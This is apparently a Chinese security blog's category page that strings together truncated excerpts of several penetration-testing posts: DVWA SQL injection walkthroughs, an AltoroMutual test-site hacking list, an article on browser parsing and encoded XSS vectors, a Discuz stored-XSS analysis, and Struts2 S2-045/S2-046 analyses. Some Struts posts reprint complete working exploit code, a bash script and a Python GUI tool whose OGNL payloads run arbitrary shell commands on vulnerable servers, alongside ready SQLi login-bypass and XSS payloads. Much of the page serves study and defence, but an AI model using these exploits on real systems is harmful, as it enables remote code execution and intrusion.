Classification:Penetration

Classification (Penetration)'s result:

dvwa1.9之SQL injection(blind)

low: 关键源码: $id = $_GET[ ‘id’ ]; // Check database $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; $result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors 1.判断: 输入:1′ and 1=1;# 显示:User ID exists in the database. 输入:1′ and 1=2;# 显示:User ID is MISSING from the database. 可得是字符型注入 2.猜解当前数据库信息: 判断数据库长度: 输入:1′ and length(database())=1;# 显示:User ID is MISSING from the database. 输入: 显示:User ID exists in the database. 数据库名长度16. 猜解库名: 输入:1′ and ascii(substr(databse(),1,1))>97;# 显示:User ID is MISSING from the database. 输入:1′ and ascii(substr(databse(),1,1))<117;# 显示:User ID exists in the database. 就这样用二分法一直猜出库名。 3.猜表名: 输入:1′ and (select count (table_name) from information_schema.tables where table_schema=database() )=2;# 显示:User ID exists in the database. 可得数据库有2张表 输入:1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9;# 显示:User ID exists in the database. 可得第一张表名长度9 输入:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103;# 显示:User ID is MISSING from the database. 输入:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103;# 显示:User ID is MISSING from the database. 可得第一张表名第一个字符为g,继而可得表名。 4.猜字段信息 输入:1’ and (select……

How to hack www.testfire.net

AltoroMutual is an vulnerable-by-design web application created by WatchFire,now let us hack it. www.testfire.net: 1.Weak password : www.testfire.net/bank/login.aspx admin admin   2.SQL injection(word type) www.testfire.net/bank/login.aspx username: ‘ or ‘1’=’1 password:’ or ‘1’=’1   3.Reflection xss www.testfire.net/search.aspx?txtSearch=<script>alert(%2Fxss%2F)<%2Fscript> <script>alert(/xss/)</script>   4.File inclusion: www.testfire.net/default.aspx?content=1xxxxx.txt that cause absolute path leak:‘C:\downloads\AltoroMutual_v6\website\static\1xxxxx.txt’.    5.Directory traverse www.testfire.net/bank/   6.Source code leak Using file inclusion and directory traverse,then use %00 to bypass txt and htm. http://www.testfire.net/default.aspx?content=../bank/login.aspx.cs%00.txt using System;using System.Data;using System.Data.SqlClient;using System.Data.OleDb;using System.Text.RegularExpressions;using System.Web;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.HtmlControls;using System.Configuration;namespace Altoro{ public partial class Authentication : Page { protected void Page_Load(object sender, System.EventArgs e) { // Put user code to initialize the page here Response.Cache.SetCacheability(HttpCacheability.NoCache); HtmlMeta meta = new HtmlMeta(); HtmlHead head = (HtmlHead)Page.Header; meta.Name = “keywords”; meta.Content = “Altoro Mutual Login, login, authenticate”; head.Controls.Add(meta); if(Request.Params[“passw”] != null) { String uname = Request.Params[“uid”]; String passwd = Request.Params[“passw”]; String msg = ValidateUser(uname, passwd); if (msg == “Success”) { Response.Redirect(“main.aspx”); } else { message.Text = “Login Failed: ” + msg; } } } protected string ValidateUser(String uName, String pWord) { //Set default status to Success string status =……

dvwa1.9之SQL injection

low: 关键源码: $id = $_REQUEST[ ‘id’ ]; // Check database $query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; 没有任何过滤,并且是字符型注入,但是源码一般是看不了的,所以要进行测试判断是什么类型。 (1)判断注入类型 尝试:1 or 1=1;# 返回: ID: 1 or 1=1;# First name: admin Surname: admin 尝试:1′ or 1=1;# 返回: ID: 1′ or 1=1;# First name: admin Surname: admin ID: 1′ or 1=1;# First name: Gordon Surname: Brown ID: 1′ or 1=1;# First name: Hack Surname: Me ID: 1′ or 1=1;# First name: Pablo Surname: Picasso ID: 1′ or 1=1;# First name: Bob Surname: Smith 字符型注入。 (2)判断列数(字段数) 尝试:1′ order by 2;# 返回: ID: 1′ order by 2;# First name: admin Surname: admin 尝试:1′ order by 3;# 返回: Unknown column ‘3’ in ‘order clause’ 列数 2 (3)曝显示位 尝试:1′ union select 1,2;# 返回: ID: 1′ union select 1,2;# First name: admin Surname: admin ID: 1′ union select 1,2;# First name: 1 Surname: 2 利用显示位查询数据库信息和当前用户: 尝试:1′ union select database(),current_user();# 返回: ID: 1′ union select database(),current_user();# First name: admin Surname: admin ID: 1′ union select database(),current_user();# First name: nhbgtfzt_othpene Surname: nhbgtfzt_lsa@localhost (4)查询所有的表 由于mysql>5,所以可以利用information_schema。 尝试:1′……

(转)深入理解浏览器解析机制和XSS向量编码(附LSA对题目的解答)

本文转自 安全客:http://bobao.360.cn/learning/detail/292.html (译者注:由于某些词汇翻译成中文后很生硬,因此把相应的英文标注在其后以便理解。这篇文章讲的内容很基础,同时也很重要,希望对大家有所帮助。) 这篇文章将要深入理解HTML、URL和JavaScript的规范细则和解析器,以及在解析一段XSS脚本时他们之间有着怎样的差别。这些内容对读者的难易程度取决于读者对HTML规范和浏览器解析的知识是否充足。当然,我向您保证这篇文章比较长,因此请准备一小时或两小时来从中获益。在主题开始之前,请花费一点时间来看看下列语句并尝试回答:这些脚本能够正确执行吗? 基础部分 <a href=”%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29″></a> URL 编码 “javascript:alert(1)” <a href=”&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29″> HTML字符实体编码 “javascript” 和 URL 编码 “alert(2)” <a href=”javascript%3aalert(3)”></a> URL 编码 “:” <div>&#60;img src=x onerror=alert(4)&#62;</div> HTML字符实体编码 < 和 > <textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea> HTML字符实体编码 < 和 > <textarea><script>alert(6)</script></textarea>   高级部分 <button onclick=”confirm(‘7&#39;);”>Button</button> HTML字符实体编码 ” ‘ ” (单引号) <button onclick=”confirm(‘8\u0027);”>Button</button> Unicode编码 ” ‘ ” (单引号) <script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script> HTML字符实体编码 alert(9); <script>\u0061\u006c\u0065\u0072\u0074(10);</script> Unicode 编码 alert <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script> Unicode 编码 alert(11) <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script> Unicode 编码 alert 和 12 <script>alert(’13\u0027)</script> Unicode 编码 ” ‘ ” (单引号) <script>alert(’14\u000a’)</script> Unicode 编码换行符(0x0A) 额外赠送 <a href=”&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;”></a> 这些问题的答案在这里,测试页面在这里。如果你能答对大部分问题并且没有感觉困惑,看到这就停下吧。如果没有,那么余下的内容将能够很好的帮助你理解浏览器解析过程。 在解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,其工作原理已经在相应的解析器规范中明确写明。 0x01  HTML解析 从XSS的角度来说,我们感兴趣的是HTML文档是如何被词法解析的,因为我们并不想让用户提供的数据最终被解析为一段可执行脚本的script标签。HTML词法解析细则在这里。HTML词法解析细则是一篇冗长的文档,这篇博文并不会覆盖它的所有内容。这篇博文只会覆盖有关文档解码如何结束,以及新token何时被创建这两个有趣的部分。 一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个'<‘符号(后面没有跟’/’符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”……最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。 (译者注:词法解析是《编译原理》所涉及的内容,学习过编译原理的读者可以更好的理解“状态机”的工作原理)。 这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“&#60;”和“&#62;”。当解析器解析完“<div>”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“&#60;”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。 (译者注:这里要解释几个概念) 字符实体(character entities) 字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字。 HTML字符实体(HTML character entities) 在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。一个HTML字符实体描述如下: 需要注意的是,某些字符没有实体名称,但可以有实体编号。 字符引用(character references) 字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,'<‘对应的字符值引用为’&#60;’,对应的字符实体引用为‘&lt;’。字符实体引用也被叫做“实体引用”或“实体”。) 现在你大概会明白为什么我们要转义“<”、“>”、“’” (单引号)和“”” (双引号)字符了。但为什么我们还要转义“&”呢?大概 “&” 是无辜的,任何跟在“&”后面的内容仅会被解释为字符引用,这并不会开始或闭合一个标签。事实上,“&”字符并不会打断HTML级别的转义过程,但它可能会打断其他级别的转义过程。我们将在JavaScript解析的部分讨论这个问题。 这里要提一下RCDATA的概念。要了解什么是RCDATA,我们先要了解另一个概念。在HTML中有五类元素: 1.  空元素(Void elements),如<area>,<br>,<base>等等 2.  原始文本元素(Raw text elements),有<script>和<style> 3.  RCDATA元素(RCDATA elements),有<textarea>和<title> 4.  外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素 5.  基本元素(Normal elements),即除了以上4种元素以外的元素 五类元素的区别如下: 1.  空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。 2.  原始文本元素,可以容纳文本。 3.  RCDATA元素,可以容纳文本和字符引用。 4.  外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释 5.  基本元素,可以容纳文本、字符引用、其他元素和注释 如果我们回头看HTML解析器的规则,其中有一种可以容纳字符引用的情况是“RCDATA状态中的字符引用”。这意味着在<textarea>和<title>标签中的字符引用会被HTML解析器解码。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。这样就可以解释问题5了。另外,对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>的内容中),唯一能够被解析器认做是标签的就是“</textarea>”或者“</title>”。当然,这要看开始标签是哪一个。因此,在“<textarea>”和“<title>”的内容中不会创建标签,就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。 我们来迅速看一下CDATA元素。任何在CDATA元素中的内容将不会触发解析器创建开始标签。闭合CDATA元素的标志是“]]>”序列。因此如果用户想逃出CDATA元素,就要用未经任何编码的“]]>”序列,不然是不会逃出CDATA元素的。 0x02  URL解析 URL解析器也是一个状态机模型,从输入流中进来的字符可以引导URL解析器转换到不同的状态。解析器的解析细则在这里。其中有很多有关安全或XSS转义的内容。 首先,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。例如,你不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。然而,你可能会想到:为什么问题2中的脚本被执行了呢?如果你记得我们在HTML解析部分讨论的内容的话,是否还记得有一个情况叫做“属性值中的字符引用”,在这个情况中字符引用会被解码。我们将稍后讨论解析顺序,但在这里,HTML解析器解析了文档,创建了标签token,并且对href属性里的字符实体进行了解码。然后,当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议,JavaScript解析器开始工作并执行这段代码,这就是为什么问题2中的代码能够被执行。 其次,URL编码过程使用UTF-8编码类型来编码每一个字符。如果你尝试着将URL链接做了其他编码类型的编码,URL解析器就可能不会正确识别。 0x03  JavaScript 解析 JavaScript解析过程与HTML解析过程有点不一样。JavaScript语言是一门内容无关语言。对应着有一份内容无关的语法来描述它。我们可以利用内容无关语法来解释JavaScript是如何解析的。ECMAScript-262细则在这里,语法文件在这里。 这里有一些与安全相关的事情:字符是如何被解码的?对一些字符进行转义是否有效? 开始之前,让我们来回到HTML解析过程中的“原始文本”元素。我故意将HTML中的一部分留到这个章节是因为它与JavaScript解析有关。所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。如果你去看“脚本数据状态”的状态转换规则,就会发现没有任何规则能转移到字符引用状态。这意味着什么?这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。 那像“\uXXXX”(例如\u0000,\u000A)这样的字符呢,JavaScript会解析这些字符来执行吗?简单的说:视情况而定。具体的说就是要看被编码的序列到底是哪部分。首先,像\uXXXX一样的字符被称作Unicode转义序列。从上下文来看,你可以将转义序列放在3个部分:字符串中,标识符名称中和控制字符中。 字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符。这项内容清楚地写在ECMAScript中。因此,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量。 ECMA-262 5.1版 6章 6节 “ECMAScript 与 JAVA 编程语言在对待Unicode转义序列时的行为不同。在Java程序中,如果Unicode转义序列\u000A出现在单行字符串注释中,它会被解释为行结束符(换行符),因此会导致接下来的Unicode字符不是注释的一部分。同样的,如果Unicode转义序列\u000A出现在Java程序的字符串常量中,它同样会被解释为行结束符(换行符),这在字符串常量中是不被允许的——如果需要在字符串常量中表示换行,需要用\n来代替\u000A。在ECMAScript程序中,出现在注释中的Unicode转义序列永远不会被解释,因此不会导致注释换行问题。同样地,ECMAScript程序中,在字符串常量中出现的Unicode转义序列会被当作字符串常量中的一个Unicode字符,并且不会被解释成有可能结束字符串常量的换行符或者引号。” 标识符名称中:当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。这可以用来解释问题10。如果我们深入研究JavaScript细则,可以看到如下内容:……

(转)Discuz 全版本存储 XSS 分析

本文转载自:http://rickgray.me/2015/07/31/discuz-all-version-stored-xss-analysis.html?utm_source=tuicool&utm_medium=referral 乌云上有人发了《Discuz全版本存储型DOM XSS(可打管理员)附Discuz官方开发4大坑&验证脚本》,借此文顺带练习了一下 JS 调试,下面是整个漏洞的分析。 Discuz在用户评论处设置了帖子管理员编辑评论的功能,由于前端JS代码处理不当导致了经过恶意构造的评论内容在经过交互后形成XSS。下面通过payload的调试过程来解释该漏洞的形成过程。 首先,在评论处提交评论内容:[email=2″onmouseover=”alert(2)]2[/email] 由于服务器对引号等有过滤,所以提交后,查看源码会发现引号已经被实体编码了。 对于普通用户提交的评论,管理员或者版主都有权利对其发表的评论进行管理。 当管理或版主对用户的评论点击管理时,前端JS代码就开始处理,弹出一个编辑框供管理或版主操作。在JS代码处理的过程中,首先获取用户评论的内容,代码位于当前页面中: 而 $() 函数原型位于 /static/js/common.js 中: 使用了原生的 document.getElementById() 函数来获取页面中的对应对象,此处获取的是标有id=”e_textarea”的对象,其对应的值为用户评论的内容。 而由于JS原生函数的原因,被服务器后端转义的引号会被重新是渲染回引号: 获取到id=”e_textarea”对象后,代码对浏览器进行了判断,并将结果赋值给变量 var wysiwyg。 在页面上另一处JS代码判断了变量wysiwyg的值,然后开始渲染编辑框: 这里使用了Firfox浏览器进行测试,在前面wysiwyg变量的值为1,所以会执行如下代码 newEditor(1, bbcode2html(textobj.value)) 其中textobj.value的值为:[email=2″onmouseover=”alert(2)]2[/email](经过document.getElementById()获取的对象解析了实体编码) 在进行newEditor()时,会对传入的内容使用函数bbcode2html()进行编码过滤,其函数原型位于/static/js/bbcode.js,下面是Discuz对程序所支持的shortcode进行处理的部分代码。 程序匹配其支持的shortcode然后正则替换为相应的前端格式代码,因此次测试的payload为[email=2”onmouseover=”alert(2)]2[/email],因此图中红色标注的代码会得到执行。 str = str.replace(/\[email=(.[^\[]*)\](.*?)\[\/email\]/ig, ‘<a href=”mailto:$1″ target=”_blank”>$2</a>’); 经过正则匹配替换后,str的值会变为:<a href=”mailto:2″onmouseover=”alert(2)” target=”_blank”>2</a> 最终bbcode2html()函数会返回经过转换后的textobj.value,值为:<a href=”mailto:2″onmouseover=”alert(2)” target=”_blank”>2</a> 然后调用newEditor()函数进编辑框的渲染,其函数原型位于/static/js/editor.js 从函数原型可以看到,代码再次判断浏览器类型然后开始渲染,由于wysiwyq变量的值为1,最终会执行 writeEditorContents(isUndefined(initialtext) ? textobj.value: initialtext); 而调用newEditor()函数时,传递了initialtext参数,其值就为经过bbcode2html()函数处理后的textobj.value的值。 前端JS最终使用writeEditorContents()函数对页面进行渲染,其过程中会将initialtext变量的值直接写入到页面中,最终形成XSS。 渲染成功后,查看页面源代码: 当管理员或者版主对其进行交互时就会触发alert(2)。 即使后段服务器对输入内容进行了过滤和转义,但是在前段渲染的时候依然有可能形成 XSS。 ========================================================================= LSA刚接触js调试,按上面的步骤用discuz x3.2重现了一下bug,网上说有两个payload可以用([eemail=2″ onmouseover=”alert(2)]2[/eemail]或[align=” onmouseover=”alert(1)])LSA用第一个进行测试,的确可行,附上效果图(第一个payload被直接解析了所以打多个e避免被解析) 没按编辑之前:(引号经过了实体编码) 按了编辑之后:(引号经过js原生函数getElementByid()的调用又渲染为引号,引发xss) bug重现: discuz和struts2都可以说是漏洞王了,人怕出名猪怕壮,有名自然多人搞,不过正因为如此,产品才能不断完善。 (这漏洞两年前的了,看到ichunqiu上有就测试下,本人对于js调试还是懵逼状态……)

(转)【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

本文转载自 安全客 ,原文地址:http://bobao.360.cn/learning/detail/3639.html   传送门 【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC) 0x00 漏洞介绍 S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。 Content-Length 的长度值超长 Content-Disposition的filename存在空字节 0x01 漏洞分析 Content-Length 的长度值超长 这个漏洞需要在strust.xml中加入 <constant name=”struts.multipart.parser” value=”jakarta-stream” />才能触发。 触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。 private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request); // Interface with Commons FileUpload API // Using the Streaming API ServletFileUpload servletFileUpload = new ServletFileUpload(); FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in……

struts2-046 poc and exp

据说045补了之后046就没用了,感觉影响没045这么犀利了…… POC:(来源于:https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723# ) POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ——WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name=”upload”; filename=”%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘X-Test’,’Kaboom’)}” Content-Type: text/plain Kaboom ——WebKitFormBoundaryAnmUgTEhFhOZpr9z– EXP: exploit-db.sh:(来源于:https://github.com/jas502n/st2-046-poc) #!/bin/bash url=$1 cmd=$2 shift shift boundary=”—————————735323031399963166993862150″ content_type=”multipart/form-data; boundary=$boundary” payload=$(echo “%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='”$cmd”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}”) printf — “–$boundary\r\nContent-Disposition: form-data; name=\”foo\”; filename=\”%s\0b\”\r\nContent-Type: text/plain\r\n\r\nx\r\n–$boundary–\r\n\r\n” “$payload” | curl “$url” -H “Content-Type: $content_type” -H “Expect: ” -H “Connection: close” –data-binary @- $@ 3.友情检测: 此exp可以利用。 希望广大站长及时修补漏洞,避免不必要的损失。  

Apache Struts2再曝RCE漏洞(s2-046 CVE-2017-5638)

1.概述: 这次的s2-046和之前的s2-045相似,也是RCE漏洞,也是BuildErrorMessage,也是执行ognl……,但是攻击向量不同,这次漏洞编号都没变。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: 使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致RCE。 所以此洞的触发如下: (1)JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” /> (2)上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。 (3)header中的Content-Disposition中包含空字节。 (4)文件名内容构造恶意的OGNL内容。 官方链接:http://struts.apache.org/docs/s2-046.html 4.修复方案: 4.1.如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。 4.2.采用其他Mutipart解析器实施方案。Apache提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。 4.3.从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效 4.4. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。   5.参考链接: http://www.freebuf.com/vuls/129871.html http://bobao.360.cn/learning/detail/3571.html        

struts2 045 poc and exp

POC: 网上看的一个poc: import requests import sys def poc(url): payload = “%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}” headers = {} headers[“Content-Type”] = payload r = requests.get(url, headers=headers) if “105059592” in r.content: return True return False if __name__ == ‘__main__’: if len(sys.argv) == 1: print “python s2-045.py target” sys.exit() if poc(sys.argv[1]): print “vulnerable” else: print “not vulnerable” 102*102*102*99=105059592,看了一下这个poc,好像又明白了异常怎么抛出的了,因为poc里不是一开头就是Multipart,而是注入ognl语言。Payload里打印102*102*102*99的值,如果返回的页面有105059592则表明存在st2-045远程命令执行漏洞。 EXP: 网上流传的一个exp: #coding:utf-8 import urllib2 from Tkinter import * import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers class START(): def __init__(self,root): self.root=root self.show_W_Text = Text() self.show_url_ed = Label(root, text=”str2″) self.edit_url = Entry(root, text=”输入地址”) self.edit_cmd = Entry(root, text=”输入cmd”) self.butt_whois = Button(root, text=”检测”,command=self.poc) self.show_url_ed.pack() self.edit_url.pack() self.edit_cmd.pack() self.butt_whois.pack() self.show_W_Text.pack() def poc(self): w_url = self.edit_url.get() w_cmd = self.edit_cmd.get() text = self.show_W_Text register_openers() datagen, header = multipart_encode({“image1”: open(“tmp.txt”, “rb”)}) header[ “User-Agent”] = “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36” header[ “Content-Type”] = “%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='” + w_cmd + “‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}” request = urllib2.Request(w_url, datagen, headers=header) response = urllib2.urlopen(request).read() text.insert(1.0, response) if __name__ == ‘__main__’: root=Tk() root.title(“str2 045”) motion=START(root) mainloop() exp大概和poc一样。 友情检测: 希望各网站管理员及时修复,避免不必要的损失。

对struts2 045漏洞的分析

struts2 045曝出已经近6天了,网上的站也修复得差不多了,针对此漏洞,LSA参考了网上相关文章,加上LSA的一些浅陋的分析,总结整理得出此文。 1.漏洞原因: 1.1:由于Strus2对错误消息处理时,出现了纰漏。 1.2:通过content-type这个header头,注入OGNL语言,进而执行命令。 1.3:   基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。 1.4:官方公告 https://cwiki.apache.org/confluence/display/WW/S2-045 2.影响版本: Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10 基本通杀! 3.漏洞分析(基于2.3.20): 3.1:jakarta 首先,通过官方说明可知漏洞发生在文件上传过程中。上传下载是一个常用功能,而Struts2本身并不提供上传解析器的,在org.apache.struts2包中,struts2向我们提供了以下三种方式支持文件上传。 default.properties: ### Parser to handle HTTP POST requests, encoded using the MIME-type multipart/form-data # struts.multipart.parser=cos # struts.multipart.parser=pell # struts.multipart.parser=jakarta-stream struts.multipart.parser=jakarta # uses javax.servlet.context.tempdir by default struts.multipart.saveDir= struts.multipart.maxSize=2097152 本次漏洞之所以影响广泛,重要原因之一是因为本次出问题的模块是系统的默认提供的模块—Jakarta。Jakarta依赖于commons-fileupload和commons-io两个包,所以只要存在这两个包,就可以模拟文件上传。而在struts2提供的基本示例struts2_blank中,这两个包也是存在的。 Struts2上传默认使用的是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类,对上传数据进行解析。不存在插件这个说法,只不过它最终调用了第三方组件common upload完成上传操作。 struts.multipart.parser:该属性指定处理multipart/form-data的MIME类型(文件上传)请求的框架,该属性支持cos、pell和jakarta等属性值,即分别对应使用cos的文件上传框架、pell上传及common-fileupload文件上传框架。该属性的默认值为jakarta。 3.2: request封装 